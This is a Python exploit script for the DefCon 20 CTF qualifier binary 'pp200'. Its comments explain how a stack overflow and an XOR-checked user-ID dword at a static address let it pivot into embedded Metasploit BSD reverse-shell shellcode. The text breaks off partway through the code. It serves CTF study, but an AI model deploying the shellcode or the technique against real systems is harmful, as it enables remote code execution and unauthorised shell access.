#!/usr/bin/env python # exploit by @jgrusko # You can find a detailed analysis here: # http://blog.oxff.net/posts/DefCon%2020%20CTF%20Qualifications%3A%20pp200-jmjgjxh7rng7hgjyd7hq.html # I'll just focus my explanation on the way used to avoid relying on a stack address which # is not always accurate. # As said in the blog post, the verify_user() takes a dword as parameter and stores it at # static address 0x0804C58C # Then each byte of the dword is XORed against each other and compared to the value 0xa6 as in # the following pseudo code: # int verify_userid(unsigned int userid) # { # unsigned char *dword = userid; # return ((dword[0] ^ dword[1] ^ dword[2] ^ dword[3]) == 0xa6); # } # This means that we can use 3 ARBITRARY bytes and use the last one to make the result 0xa6. # Since this dword is located at a static location we can use it as our return address. # By supplying the following dword 0x29ecc3a0, the verify_userid() function # will succeed. When exploiting the stack overflow and returning on 0x0804C58C, we will have # the 2 following instructions executed: # ============== # sub esp, ebp ; 0x29 0xec # ret ; 0xc3 # ============== # Since sfp has also been overwritten, ebp now contains an arbitrary value, which in our case # is 0x214. After ESP is subtracted by 0x214, it will point at the beginning of the shellcode. # The first dword of the shellcode is actually pointing on a "jmp esp" instruction, jumping # directly into the shellcode. # Even if we supply a dword, the shellcode is actually only XORed with the MSB of this # dword. # Here's the exploit code: import socket, struct # metasploit bsd/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 # If you are trying this on your system, remember the program # performs a chroot() call thus, if /bin/sh is not present # inside pp200 home directory you won't get a shell ;) shellcode = ( "\x68\x7f\x00\x00\x01\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0" "\x50\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50" "\x6a\x62\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8" "\x79\xf6\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x50\x54\x53\x50\xb0\x3b\xcd\x80" ) jmpESP = struct.pack("